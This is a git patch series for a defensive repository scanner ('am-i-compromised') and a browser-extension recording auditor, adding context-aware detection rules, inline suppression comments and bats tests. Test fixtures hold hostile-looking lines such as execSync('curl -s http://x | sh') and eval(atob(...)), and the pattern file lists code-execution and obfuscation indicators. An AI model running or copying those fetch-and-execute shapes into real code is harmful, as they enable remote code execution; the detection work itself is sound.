+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Tab Grabber","version":"1.0.0","permissions":["tabCapture"]}'
+  run bash "$SCRIPT" --root "$TMP" --no-live --min-severity CRITICAL
+  assert_output --partial "no findings"
+  assert_output --partial "floor CRITICAL"
+}
+
+@test "--min-severity CRITICAL also lowers the strict exit code" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Tab Grabber","version":"1.0.0","permissions":["tabCapture"]}'
+  run bash "$SCRIPT" --root "$TMP" --no-live --min-severity CRITICAL --strict
+  assert_success
+}
+
+@test "desktopCapture with offscreen and all-urls reports both combinations" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Recorder","version":"1.0.0","permissions":["desktopCapture","offscreen"],"host_permissions":["<all_urls>"]}'
+  audit
+  assert_output --partial "recordings can include any page"
+  assert_output --partial "outlive the visible tab"
+}
+
+@test "tabCapture alone does not trigger the all-urls combination" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Tab Grabber","version":"1.0.0","permissions":["tabCapture"],"host_permissions":["<all_urls>"]}'
+  audit
+  refute_output --partial "recordings can include any page"
+}
+
+@test "offscreen alone does not trigger the persistent-capture combination" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Offscreen Helper","version":"1.0.0","permissions":["offscreen"]}'
+  audit
+  refute_output --partial "outlive the visible tab"
+}
+
+@test "optional permissions are flagged as runtime-granted" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Maybe Debug","version":"1.0.0","permissions":[],"optional_permissions":["debugger"]}'
+  audit
+  assert_output --partial "optional, granted at runtime"
+}
+
+@test "localized extension names are resolved from _locales" {
+  write_extension "Google/Chrome" "Profile 1" "$BENIGN_ID" "2.0.0" \
+    '{"name":"__MSG_extName__","version":"2.0.0","permissions":["tabCapture"]}'
+  write_locale "Google/Chrome" "Profile 1" "$BENIGN_ID" "2.0.0" "extName" "Sneaky Capture"
+  audit
+  assert_output --partial "Sneaky Capture"
+}
+
+@test "an unresolved localized name falls back to a placeholder" {
+  write_extension "Google/Chrome" "Profile 1" "$BENIGN_ID" "1.0.0" \
+    '{"name":"__MSG_missing__","version":"1.0.0","permissions":["tabCapture"]}'
+  audit
+  assert_output --partial "(unknown)"
+}
+
+@test "an unreadable manifest is skipped without failing the run" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    'not json at all'
+  write_extension "BraveSoftware/Brave-Browser" "Default" "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" "1.0.0" \
+    '{"name":"Recorder","version":"1.0.0","permissions":["desktopCapture"]}'
+  audit
+  assert_success
+  assert_output --partial "Recorder"
+}
+
+@test "non-profile directories under a browser are ignored" {
+  mkdir -p "$TMP/BraveSoftware/Brave-Browser/GrShaderCache"
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Recorder","version":"1.0.0","permissions":["desktopCapture"]}'
+  audit
+  assert_output --partial "CRITICAL"
+  refute_output --partial "GrShaderCache"
+}
+
+@test "a root with no browser profiles is reported as context" {
+  run bash "$SCRIPT" --root "$TMP" --no-live
+  assert_success
+  assert_output --partial "no browser profiles found"
+}
diff --git a/mise.toml b/mise.toml
index 7bbef39..9411f65 100644
--- a/mise.toml
+++ b/mise.toml
@@ -72,6 +72,10 @@ run = "pnpm validate"
 description = "Run the security-gate scanner over the whole repository"
 run = "bash apps/am-i-compromised/bin/scanner.sh ."
 
+[tasks.am-i-being-recorded]
+description = "Audit local capture surfaces and browser extensions (macOS/Linux)"
+run = "bash apps/am-i-being-recorded/bin/am-i-being-recorded.sh"
+
 [tasks.publish]
 description = "Publish am-i-compromised to the npm registry"
 depends = ["check"]
@@ -97,3 +101,6 @@ run = "npm pack --dry-run"
 [tasks.doctor]
 description = "Diagnose the dev environment (mise doctor)"
 run = "mise doctor"
+
+[tasks.agentshield]
+run = "pnpx ecc-agentshield scan --fix"
diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml
index 1432156..60ec444 100644
--- a/pnpm-lock.yaml
+++ b/pnpm-lock.yaml
@@ -12,6 +12,18 @@ importers:
         specifier: ^9.1.7
         version: 9.1.7
 
+  apps/am-i-being-recorded:
+    devDependencies:
+      bats:
+        specifier: ^1.13.0
+        version: 1.13.0
+      bats-assert:
+        specifier: ^2.2.4
+        version: 2.2.4(bats-support@0.3.0(bats@1.13.0))(bats@1.13.0)
+      bats-support:
+        specifier: ^0.3.0
+        version: 0.3.0(bats@1.13.0)
+
   apps/am-i-compromised:
     devDependencies:
       bats:

From 70a5766152fb6d56039a98c967329f65c590b89d Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Fri, 25 Sep 2026 08:26:14 -0400
Subject: [PATCH 2/9] feat(am-i-compromised): cut false positives, add inline
 ignore comments

Tighten the heuristics so a scan of a real repo reports actionable findings
instead of noise (54 findings down to 4 on a monorepo that was used as the
benchmark). Add an inline suppression comment,
`am-i-compromised-ignore: <reason>`; a reason is required, and suppressed
findings are listed in the report rather than hidden.

Also fix findings suppressing the report footer, and a BSD sed crash on macOS.
Tests grow from 62 to 92; two tests that encoded the old broad matching are
rewritten.
---
 apps/am-i-compromised/README.md           |  68 ++++++-
 apps/am-i-compromised/bin/ioc-patterns.sh |  44 ++++-
 apps/am-i-compromised/bin/scanner.sh      | 217 +++++++++++++++++++++-
 apps/am-i-compromised/test/scanner.bats   | 174 ++++++++++++++++-
 4 files changed, 480 insertions(+), 23 deletions(-)

diff --git a/apps/am-i-compromised/README.md b/apps/am-i-compromised/README.md
index b8caab9..533fa44 100644
--- a/apps/am-i-compromised/README.md
+++ b/apps/am-i-compromised/README.md
@@ -52,6 +52,14 @@ installed on the host (see [Requirements](#requirements)).
 - Scans JS/TS/Python/Rust/Ruby/C/C++/C# sources, editor config, and binary-asset
   extensions out of the box
 - Excludes `node_modules`, build output, VCS dirs, and `.git`-adjacent noise
+- Context-aware where a bare regex would be noisy: a decode primitive
+  (`atob`, `Buffer.from`, ...) only trips the gate near an execution call or a
+  long embedded literal; `execSync`/`spawn`/... only trips it when the command
+  isn't a plain literal with a normal options object; `setTimeout`/`setInterval`
+  only trip it on a string first argument, not a callback; hex/unicode escapes
+  only trip it as a long adjacent run, not a lone ANSI color code
+- Reviewed lines can be marked safe with `am-i-compromised-ignore: <reason>` —
+  see [Suppressing a finding](#suppressing-a-finding)
 - Self-tests its own detection logic against quarantined malicious fixtures
 - Ships `safe-pull`, a guarded `git pull` that inspects incoming commits before
   anything reaches the working tree
@@ -131,7 +139,9 @@ In CI:
 - run: security-gate .
 ```
 
-Exit code is `0` when nothing is flagged and `1` when it finds something to review.
+Exit code is `0` when nothing unreviewed is flagged and `1` when it finds
+something to review. A suppressed finding (see below) never affects the exit
+code — only unreviewed findings do.
 
 ### Reading the output
 
@@ -142,10 +152,58 @@ single minified line cannot flood the report. Output is plain (no ANSI) when
 piped; colors are used only on a TTY (set `NO_COLOR` to disable). Findings
 are listed sorted by path, then line.
 
-If a finding is a false positive, **prefer changing the implementation** over
-suppressing the scanner from inside the source file. Malicious test fixtures
-should live outside the scanned tree (the scanner excludes directories named
-`__security_gate_fixtures__` unless `INCLUDE_FIXTURES=1`).
+If a finding is a false positive because the *pattern* is too broad, that's a
+scanner bug — please [open an issue](https://github.com/IsaacBell/secure-devtools/issues).
+If the code itself can reasonably be rewritten to stop matching, **prefer
+that** over suppressing. Malicious test fixtures should live outside the
+scanned tree (the scanner excludes directories named `__security_gate_fixtures__`
+unless `INCLUDE_FIXTURES=1`). For the remaining case — the match is accurate
+and the code is genuinely fine as written — mark it reviewed instead:
+
+### Suppressing a finding
+
+Some findings are real matches on code that is genuinely safe — a giant
+hardcoded string literal, a command built from a value that's already been
+validated, and so on. For those, mark the line reviewed instead of
+rewriting working code to dodge the pattern:
+
+```js
+const decoded = atob(header); // am-i-compromised-ignore: decodes a request header, not a payload
+```
+
+The marker is `am-i-compromised-ignore:` followed by a reason, on the
+finding's own line or the line immediately before it (handy when the flagged
+line is too long to comment on directly, like a huge literal):
+
+```js
+// am-i-compromised-ignore: bee movie script fixture, not obfuscated code
+const script = "...49,000 characters...";
+```
+
+The reason is required — a marker with nothing after the colon does not
+suppress anything, so an empty "make it go away" comment can't quietly defeat
+the gate. The marker is recognized as plain text anywhere on the line; it
+does not need to sit inside any particular comment syntax, since the scanner
+reads half a dozen languages.
+
+Suppressed findings are **never dropped silently**. They are counted and
+listed in their own section of the report on every run, including a clean
+one, so a suppression can't quietly go stale or hide a second, unrelated
+issue on the same line:
+
+```
+security-gate: 1 finding suppressed by inline comment
+
+  src/auth.ts:42
+    const decoded = atob(header); // am-i-compromised-ignore: decodes a request header, not a payload
+    → Encoded payload primitives (suppressed)
+    reason: decodes a request header, not a payload
+```
+
+This marker is honored by `security-gate`/`scanner` only. **`safe-pull` does
+not read it.** `safe-pull` inspects commits nobody has reviewed yet — that's
+the entire point of the guard — so a marker written by whoever authored the
+incoming diff must never be able to wave off their own payload.
 
 ## Guarded pull (`safe-pull`)
 
diff --git a/apps/am-i-compromised/bin/ioc-patterns.sh b/apps/am-i-compromised/bin/ioc-patterns.sh
index e94e181..0a9d6cc 100644
--- a/apps/am-i-compromised/bin/ioc-patterns.sh
+++ b/apps/am-i-compromised/bin/ioc-patterns.sh
@@ -20,21 +20,55 @@
 # shellcheck disable=SC2034
 
 # --- source-level indicators ---------------------------------------------------
+#
+# "Encoded payload primitives" and "Child-process execution" are deliberately
+# NOT in this array even though they are source-level indicators: both need a
+# little more than "does this regex match the line" to stay low-noise (see
+# the context-aware rules below), so scanner.sh applies them with a small
+# bespoke function instead of the generic per-pattern loop. Their regexes
+# still live in this file so every rule stays defined in one place.
 
 readonly IOC_CONTENT_PATTERNS=(
 	$'Dynamic code execution\t(^|[^[:alnum:]_$])(eval|Function)[[:space:]]*\\('
-	$'Dynamic timer execution\t(setTimeout|setInterval)[[:space:]]*\\([^,]+,[[:space:]]*[0-9]+[[:space:]]*\\)'
-	$'Child-process execution\t(child_process|execFile|execFileSync|execSync|spawn|spawnSync|fork)[[:space:]]*\\('
+	$'Dynamic timer execution\t(setTimeout|setInterval)[[:space:]]*\\([[:space:]]*(["\'`][^,]*|[A-Za-z_$][A-Za-z0-9_$]*)[[:space:]]*,[[:space:]]*[0-9]+[[:space:]]*\\)'
 	$'Direct network module access\t(require|import)[^;]*["\'](http|https|net|tls|dgram)["\']'
 	$'Runtime global mutation\t(^|[^[:alnum:]_$])global([.]|\\[)'
-	$'Encoded payload primitives\t(atob|btoa|Buffer[.]from|Buffer[.]alloc|Buffer[.]concat)[[:space:]]*\\('
 	$'Computed global properties\tglobal[[:space:]]*\\[[[:space:]]*["\']'
-	$'Hex or Unicode string escapes\t\\\\x[0-9a-fA-F]{2}|\\\\u[0-9a-fA-F]{4}'
+	$'Hex or Unicode string escapes\t(\\\\x[0-9a-fA-F]{2}){4,}|(\\\\u[0-9a-fA-F]{4}){4,}'
 	$'Common string-table obfuscation\t(_0x[0-9a-fA-F]{3,}|_0X[0-9A-F]{3,})'
-	$'Suspicious decoder/string-table helpers\t(charCodeAt|fromCharCode|String[.]fromCharCode)[[:space:]]*\\('
+	$'Suspicious decoder/string-table helpers\t(fromCharCode|String[.]fromCharCode)[[:space:]]*\\('
 	$'Runtime source construction\t(new[[:space:]]+Function|constructor[[:space:]]*\\[[[:space:]]*["\']constructor["\']\\])'
 )
 
+# --- context-aware source rules -------------------------------------------------
+#
+# A regex alone over-fires on these two shapes, so scanner.sh pairs them with
+# a small amount of surrounding context (see scan_encoded_payload_primitives
+# and scan_child_process in scanner.sh):
+#
+# Encoded payload primitives — decoding/encoding a runtime value (an auth
+# header, a credential pair, a buffered response) is routine. It becomes a
+# signal when the result is handed to something that executes, or when the
+# call is decoding a sizeable literal blob baked into the source rather than
+# a value computed elsewhere.
+readonly IOC_ENCODED_PRIMITIVE_TITLE="Encoded payload primitives"
+readonly IOC_ENCODED_PRIMITIVE_PATTERN='(atob|btoa|Buffer[.]from|Buffer[.]alloc|Buffer[.]concat)[[:space:]]*\('
+readonly IOC_EXEC_NEARBY_PATTERN='(^|[^[:alnum:]_$])(eval|Function|execSync|execFileSync|execFile|exec|spawnSync|spawn)[[:space:]]*\(|(^|[^[:alnum:]_$])vm[.][A-Za-z]+[[:space:]]*\('
+readonly IOC_LONG_BASE64_LITERAL_PATTERN=$'["\'`][A-Za-z0-9+/]{40,}={0,2}["\'`]'
+readonly IOC_ENCODED_PRIMITIVE_WINDOW=3
+
+# Child-process execution — a literal, hardcoded command is the ordinary
+# shape of a build/import/CLI script, and a trailing Node-style options
+# object (`{ encoding: ..., stdio: ..., cwd: ... }`) is a strong tell that
+# this is a deliberate, ordinary child_process call rather than a quick
+# injected one-liner. It stays a signal when the command is assembled at
+# runtime (a bare variable, a template with interpolation, concatenation) or
+# invoked with no options object at all.
+readonly IOC_CHILD_PROCESS_TITLE="Child-process execution"
+readonly IOC_CHILD_PROCESS_PATTERN='(child_process|execFile|execFileSync|execSync|spawn|spawnSync|fork)[[:space:]]*\('
+readonly IOC_CHILD_PROCESS_SAFE_PATTERN=$'(execFile|execFileSync|execSync|spawn|spawnSync|fork)[[:space:]]*\\([[:space:]]*["\'][^"\'`+]*["\'][[:space:]]*[,)]'
+readonly IOC_CHILD_PROCESS_OPTIONS_OBJECT_PATTERN=',[[:space:]]*\{'
+
 # --- editor/workspace configuration -------------------------------------------
 #
 # Auto-run is matched on the key alone so new trigger values stay covered. The
diff --git a/apps/am-i-compromised/bin/scanner.sh b/apps/am-i-compromised/bin/scanner.sh
index ac4369c..e4186d1 100755
--- a/apps/am-i-compromised/bin/scanner.sh
+++ b/apps/am-i-compromised/bin/scanner.sh
@@ -25,6 +25,18 @@ set -euo pipefail
 #
 # Keep known-malicious fixtures outside the trusted source tree rather than
 # suppressing findings with comments in the source itself.
+#
+# A line already reviewed and confirmed safe can be marked with a comment
+# carrying a required reason, on the finding's own line or the line before:
+#
+#   // am-i-compromised-ignore: ANSI color code, not an obfuscated payload
+#
+# Suppressed findings are never dropped silently: they are still counted and
+# listed in their own section of the report, on every run, including a clean
+# one. This marker is honored here only. safe-pull.sh deliberately does not
+# read it — it inspects commits nobody has reviewed yet, so a marker written
+# by whoever authored the incoming diff must not be able to wave off their
+# own payload.
 
 if ! command -v rg >/dev/null 2>&1; then
 	echo "scanner: ripgrep (rg) is required but was not found on PATH." >&2
@@ -128,6 +140,15 @@ declare -a S_PATH=()
 declare -a S_NAME=()
 declare -a S_VAL=()
 
+# Findings suppressed by an `am-i-compromised-ignore:` comment. Kept apart
+# from F_* so the suppressed count can never quietly merge into (or vanish
+# from) the real total — see suppression_reason() and render_suppressed().
+declare -a SUP_PATH=()
+declare -a SUP_SNIP=()
+declare -a SUP_TAGS=()
+declare -a SUP_REASON=()
+declare -A SUP_IDX=()
+
 # Set to 1 when package.json inspection could not run (jq missing).
 missing_jq=0
 
@@ -148,13 +169,61 @@ cap_snippet() {
 	fi
 }
 
-# Record one finding for path:line under an indicator category.
+# --- suppression -----------------------------------------------------------
+#
+# A comment carrying `am-i-compromised-ignore: <reason>` on the finding's own
+# line, or the line immediately before it, marks that finding reviewed and
+# safe. The reason is required: a marker with nothing (or only whitespace)
+# after the colon does not suppress anything, so an empty "make it go away"
+# comment cannot silently defeat the gate. The marker is recognized as plain
+# text anywhere on the candidate line — it does not need to sit inside a
+# language-specific comment syntax, since the source files this scanner reads
+# span half a dozen languages and the marker text itself is distinctive
+# enough not to appear by accident.
+readonly SUPPRESS_MARKER_RE='am-i-compromised-ignore:[[:space:]]*(.+)$'
+
+# suppression_reason <path> <line> — on stdout, the trimmed reason text if
+# `path` carries a valid marker on `line` or `line - 1`; exit status 0. No
+# output and exit status 1 otherwise. Checks the finding's own line first.
+suppression_reason() {
+	local path="$1"
+	local line="$2"
+	local prev=$((line > 1 ? line - 1 : 0))
+	local candidate reason
+
+	[[ -f "$path" ]] || return 1
+
+	# No `--` before the path: BSD sed (macOS) does not understand it as an
+	# end-of-options marker and treats it as a filename, which fails and
+	# trips set -e on the enclosing assignment. Safe without it: $path is
+	# always the absolute $ROOT-rooted path built earlier in this script,
+	# never a string that could be mistaken for an option.
+	for candidate in \
+		"$(sed -n "${line}p" "$path" 2>/dev/null)" \
+		"$( ((prev > 0)) && sed -n "${prev}p" "$path" 2>/dev/null)"; do
+		if [[ "$candidate" =~ $SUPPRESS_MARKER_RE ]]; then
+			reason="${BASH_REMATCH[1]}"
+			reason="${reason#"${reason%%[![:space:]]*}"}"
+			reason="${reason%"${reason##*[![:space:]]}"}"
+			if [[ -n "$reason" ]]; then
+				printf '%s' "$reason"
+				return 0
+			fi
+		fi
+	done
+
+	return 1
+}
+
+# Record one finding for path:line under an indicator category. A suppressed
+# finding is rerouted into the SUP_* store instead of F_*: it never counts
+# toward the exit code, but it is never dropped either.
 record_finding() {
 	local path="$1"
 	local line="$2"
 	local snippet="$3"
 	local tag="$4"
-	local pathrel pad key i trimmed
+	local pathrel pad key i trimmed reason
 
 	pathrel="${path#"$ROOT"/}"
 	if [[ -z "$pathrel" || "$pathrel" == "$path" ]]; then
@@ -168,6 +237,22 @@ record_finding() {
 	pad="$(printf '%08d' "$line")"
 	key="${pathrel}|${pad}"
 
+	if reason="$(suppression_reason "$path" "$line")"; then
+		if [[ -v SUP_IDX[$key] ]]; then
+			i="${SUP_IDX[$key]}"
+			if [[ "${SUP_TAGS[i]}" != *"$tag"* ]]; then
+				SUP_TAGS[i]+=", $tag"
+			fi
+		else
+			SUP_IDX[$key]="${#SUP_PATH[@]}"
+			SUP_PATH+=("$pathrel")
+			SUP_SNIP+=("$snippet")
+			SUP_TAGS+=("$tag")
+			SUP_REASON+=("$reason")
+		fi
+		return
+	fi
+
 	if [[ -v F_IDX[$key] ]]; then
 		i="${F_IDX[$key]}"
 		if [[ "${F_TAGS[i]}" != *"$tag"* ]]; then
@@ -213,6 +298,72 @@ scan_pattern() {
 	)
 }
 
+# atob/btoa/Buffer.from/Buffer.alloc/Buffer.concat are routine on their own —
+# decoding a header, encoding a credential pair, reading buffered output as
+# utf8. They only get flagged when the match line (or a small window around
+# it) also reaches for something that executes, or when the call is decoding
+# a sizeable literal blob rather than a runtime value. See IOC_ENCODED_* in
+# ioc-patterns.sh for the three regexes this combines.
+scan_encoded_payload_primitives() {
+	local row window_text start end
+
+	while IFS= read -r row; do
+		[[ -n "$row" ]] || continue
+		split_rg_row "$row"
+
+		if [[ "$P_SNIP" =~ $IOC_EXEC_NEARBY_PATTERN || "$P_SNIP" =~ $IOC_LONG_BASE64_LITERAL_PATTERN ]]; then
+			record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "$IOC_ENCODED_PRIMITIVE_TITLE"
+			continue
+		fi
+
+		start=$((P_LINE > IOC_ENCODED_PRIMITIVE_WINDOW ? P_LINE - IOC_ENCODED_PRIMITIVE_WINDOW : 1))
+		end=$((P_LINE + IOC_ENCODED_PRIMITIVE_WINDOW))
+		# No `--`: see the note in suppression_reason(); $P_PATH is always
+		# absolute here too.
+		window_text="$(sed -n "${start},${end}p" "$P_PATH" 2>/dev/null)"
+		if [[ "$window_text" =~ $IOC_EXEC_NEARBY_PATTERN ]]; then
+			record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "$IOC_ENCODED_PRIMITIVE_TITLE"
+		fi
+	done < <(
+		rg -n \
+			--no-heading \
+			--color never \
+			"${SOURCE_GLOBS[@]}" \
+			"${EXCLUDE_GLOBS[@]}" \
+			"$IOC_ENCODED_PRIMITIVE_PATTERN" \
+			-- "$ROOT" 2>/dev/null || true
+	)
+}
+
+# execFile/execFileSync/execSync/spawn/spawnSync/fork with a literal command
+# and a trailing Node-style options object is the ordinary shape of a
+# build/import/CLI script. It stays a signal when the command is assembled at
+# runtime (a bare variable, a template with interpolation, concatenation) or
+# invoked with no options object at all. See IOC_CHILD_PROCESS_* in
+# ioc-patterns.sh.
+scan_child_process() {
+	local row safe
+
+	while IFS= read -r row; do
+		[[ -n "$row" ]] || continue
+		split_rg_row "$row"
+
+		safe=0
+		if [[ "$P_SNIP" =~ $IOC_CHILD_PROCESS_SAFE_PATTERN && "$P_SNIP" =~ $IOC_CHILD_PROCESS_OPTIONS_OBJECT_PATTERN ]]; then
+			safe=1
+		fi
+		((safe == 1)) || record_finding "$P_PATH" "$P_LINE" "$P_SNIP" "$IOC_CHILD_PROCESS_TITLE"
+	done < <(
+		rg -n \
+			--no-heading \
+			--color never \
+			"${SOURCE_GLOBS[@]}" \
+			"${EXCLUDE_GLOBS[@]}" \
+			"$IOC_CHILD_PROCESS_PATTERN" \
+			-- "$ROOT" 2>/dev/null || true
+	)
+}
+
 # scan_with_globs <title> <pattern> <glob...>
 #
 # Same contract as scan_pattern, but scoped to an explicit glob set rather than
@@ -386,6 +537,38 @@ render_findings() {
 	return 1
 }
 
+# Findings suppressed by an `am-i-compromised-ignore:` comment. Shown on
+# every run that has any — a FAILED run, and a PASSED one too — so a
+# suppression can never quietly disappear from view.
+render_suppressed() {
+	local n="${#SUP_PATH[@]}"
+	local word="finding"
+	local sorted key i path num
+
+	((n > 0)) || return 0
+	((n == 1)) || word="findings"
+
+	printf '\n%ssecurity-gate: %d %s suppressed by inline comment%s\n' \
+		"$C_YELLOW" "$n" "$word" "$C_RESET"
+
+	mapfile -t sorted < <(
+		printf '%s\n' "${!SUP_IDX[@]}" | LC_ALL=C sort -t'|' -k1,1 -k2,2
+	)
+
+	for key in "${sorted[@]}"; do
+		i="${SUP_IDX[$key]}"
+		path="${SUP_PATH[$i]}"
+		num="${key##*|}"
+		num="$((10#$num))"
+
+		printf '%s\n' ""
+		printf '  %s%s:%d%s\n' "$C_DIM" "$path" "$num" "$C_RESET"
+		printf '    %s\n' "${SUP_SNIP[$i]}"
+		printf '    %s→ %s (suppressed)%s\n' "$C_DIM" "${SUP_TAGS[$i]}" "$C_RESET"
+		printf '    %sreason: %s%s\n' "$C_DIM" "${SUP_REASON[$i]}" "$C_RESET"
+	done
+}
+
 # Flag environment files that are present in the git index. An untracked local
 # `.env` is normal and is never flagged; a committed one is an incident, because
 # it is what the injected `dotenv` + `node-fetch` pair exists to read and send.
@@ -407,6 +590,9 @@ while IFS= read -r entry; do
 	scan_pattern "$IOC_TITLE" "$IOC_PATTERN"
 done < <(printf '%s\n' "${IOC_CONTENT_PATTERNS[@]}")
 
+scan_encoded_payload_primitives
+scan_child_process
+
 while IFS= read -r entry; do
 	[[ -n "$entry" ]] || continue
 	split_ioc_entry "$entry"
@@ -424,7 +610,13 @@ scan_tracked_env
 scan_package_scripts
 
 if ((${#F_PATH[@]} > 0 || ${#S_PATH[@]} > 0)); then
-	render_findings
+	# render_findings ends with `return 1` (there were findings) even though
+	# nothing here reads that status — under `set -e` a bare call would abort
+	# the script right here, silently skipping render_suppressed and the
+	# footer below. `|| true` keeps that return value from being anything
+	# other than documentation.
+	render_findings || true
+	render_suppressed || true
 
 	if ((missing_jq == 1)); then
 		printf '\n%ssecurity-gate: %s could not inspect package.json scripts (jq missing).%s\n' \
@@ -434,8 +626,14 @@ if ((${#F_PATH[@]} > 0 || ${#S_PATH[@]} > 0)); then
 	cat <<'EOF'
 
 Review each flagged location above before starting the dev server. If a
-finding is a false positive, prefer changing the implementation rather than
-suppressing the scanner from inside the source file.
+finding is a real false positive, mark it reviewed instead of reflexively
+rewriting working code:
+
+  // am-i-compromised-ignore: <why this is safe>
+
+on the flagged line or the line before it — the reason is required.
+Suppressions are never silent: they are counted and listed above on every
+run, including a clean one.
 
 This scanner is a heuristic pre-flight check. A clean result does not prove
 that the repository or its dependencies are safe.
@@ -444,6 +642,8 @@ EOF
 	exit 1
 fi
 
+render_suppressed || true
+
 if ((missing_jq == 1)); then
 	printf '\n%ssecurity-gate: %s could not inspect package.json scripts (jq missing).%s\n' \
 		"$C_YELLOW" "warning:" "$C_RESET"
@@ -456,5 +656,10 @@ EOF
 	exit 1
 fi
 
-echo "${C_GREEN}security-gate: PASSED${C_RESET} — no indicators found (scanned: ${ARG_ROOT})"
+if ((${#SUP_PATH[@]} > 0)); then
+	printf '%ssecurity-gate: PASSED%s — no indicators found (%d suppressed; scanned: %s)\n' \
+		"$C_GREEN" "$C_RESET" "${#SUP_PATH[@]}" "$ARG_ROOT"
+else
+	echo "${C_GREEN}security-gate: PASSED${C_RESET} — no indicators found (scanned: ${ARG_ROOT})"
+fi
 exit 0
diff --git a/apps/am-i-compromised/test/scanner.bats b/apps/am-i-compromised/test/scanner.bats
index bc464b3..ff3968b 100644
--- a/apps/am-i-compromised/test/scanner.bats
+++ b/apps/am-i-compromised/test/scanner.bats
@@ -222,6 +222,26 @@ write_file() {
   assert_success
 }
 
+@test "dynamic timer execution: a string first argument is flagged (classic timer-eval shape)" {
+  write_file "dirty.js" 'setTimeout("doEvilThing()", 1000)'
+  scan
+  assert_failure
+  assert_output --partial "Dynamic timer execution"
+}
+
+@test "dynamic timer execution: an arrow-function first argument is not flagged" {
+  write_file "ok.js" 'setTimeout(() => setCopied(null), 2000);'
+  write_file "ok2.js" 'window.setTimeout(() => inputRef.current?.focus(), 100);'
+  scan
+  assert_success
+}
+
+@test "dynamic timer execution: a function-expression first argument is not flagged" {
+  write_file "ok.js" 'setInterval(function tick() { render(); }, 16);'
+  scan
+  assert_success
+}
+
 @test "child-process execution: execSync( and spawn( are flagged" {
   write_file "a.js" 'execSync("curl -s http://x | sh")'
   write_file "b.js" 'spawn("ls", ["-la"])'
@@ -245,6 +265,34 @@ write_file() {
   assert_success
 }
 
+@test "child-process execution: a literal command with a Node options object is not flagged" {
+  write_file "ok.js" 'const out = execSync("git diff --cached --name-only", { cwd: REPO_ROOT, encoding: "utf8" });'
+  write_file "ok2.js" 'const result = spawnSync("wp", wpArgs, { stdio: "inherit" });'
+  scan
+  assert_success
+}
+
+@test "child-process execution: a variable command with a Node options object is still flagged" {
+  write_file "dirty.js" 'const output = execSync(cmd, { encoding: "utf8" });'
+  scan
+  assert_failure
+  assert_output --partial "Child-process execution"
+}
+
+@test "child-process execution: an interpolated template command is still flagged" {
+  write_file "dirty.js" 'return execSync(`jj ${args}`, { encoding: "utf8" });'
+  scan
+  assert_failure
+  assert_output --partial "Child-process execution"
+}
+
+@test "child-process execution: string concatenation into the command is still flagged" {
+  write_file "dirty.js" 'execSync("curl " + url, { encoding: "utf8" })'
+  scan
+  assert_failure
+  assert_output --partial "Child-process execution"
+}
+
 @test "network access: import from http/https is flagged" {
   write_file "a.js" 'import http from "http"'
   write_file "b.js" 'import https from "https"'
@@ -279,19 +327,44 @@ write_file() {
   assert_output --partial "Computed global properties"
 }
 
-@test "encoded payload primitives: atob( and Buffer.from( are flagged" {
-  write_file "a.js" 'atob("c2hlbGw=")'
-  write_file "b.js" 'Buffer.from("c2hlbGw=", "base64")'
+@test "encoded payload primitives: atob( immediately eval'd is flagged" {
+  write_file "a.js" 'eval(atob("c2hlbGw="))'
   scan
   assert_failure
   assert_output --partial "Encoded payload primitives"
   assert_equal "$(count_in_output 'a.js:1')" 1
-  assert_equal "$(count_in_output 'b.js:1')" 1
 }
 
-@test "hex and unicode escapes are flagged" {
-  write_file "hex.js" 'var s = "\x41\x42"'
-  write_file "uni.js" 'var u = "\u0041"'
+@test "encoded payload primitives: a decode followed by eval( a few lines later is flagged" {
+  write_file "a.js" \
+    'const payload = atob("c2hlbGw=");' \
+    'doSomethingElse();' \
+    'eval(payload);'
+  scan
+  assert_failure
+  assert_output --partial "Encoded payload primitives"
+  assert_equal "$(count_in_output 'a.js:1')" 1
+}
+
+@test "encoded payload primitives: a long embedded base64 literal is flagged with no execution nearby" {
+  write_file "dirty.js" \
+    'const blob = atob("QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eg==");'
+  scan
+  assert_failure
+  assert_output --partial "Encoded payload primitives"
+}
+
+@test "encoded payload primitives: decoding a runtime value with no execution nearby is not flagged" {
+  write_file "ok.js" 'const decoded = atob(authorizationHeader.slice("Basic ".length));'
+  write_file "ok2.js" 'return Buffer.from(user + ":" + pass).toString("base64");'
+  write_file "ok3.js" 'return Buffer.concat(chunks).toString("utf8");'
+  scan
+  assert_success
+}
+
+@test "hex and unicode escapes: a long adjacent run is still flagged" {
+  write_file "hex.js" 'var s = "\x68\x65\x6c\x6c\x6f"'
+  write_file "uni.js" 'var u = "\u0048\u0065\u006c\u006c\u006f"'
   scan
   assert_failure
   assert_output --partial "Hex or Unicode string escapes"
@@ -299,6 +372,24 @@ write_file() {
   assert_equal "$(count_in_output 'uni.js:1')" 1
 }
 
+@test "hex and unicode escapes: two adjacent escapes (a short pair) are not flagged" {
+  write_file "pair.js" 'var s = "\x41\x42"'
+  scan
+  assert_success
+}
+
+@test "hex and unicode escapes: an isolated hex escape is not flagged (ANSI color code)" {
+  write_file "ansi.js" 'const red = (s) => `\x1b[31m${s}\x1b[0m`;'
+  scan
+  assert_success
+}
+
+@test "hex and unicode escapes: an isolated unicode escape is not flagged" {
+  write_file "uni.js" 'const s = str.replace(/</g, "\u003c");'
+  scan
+  assert_success
+}
+
 @test "string-table obfuscation: _0x with 3+ hex digits is flagged" {
   write_file "dirty.js" 'var a = _0x44ceab("x")'
   scan
@@ -319,6 +410,13 @@ write_file() {
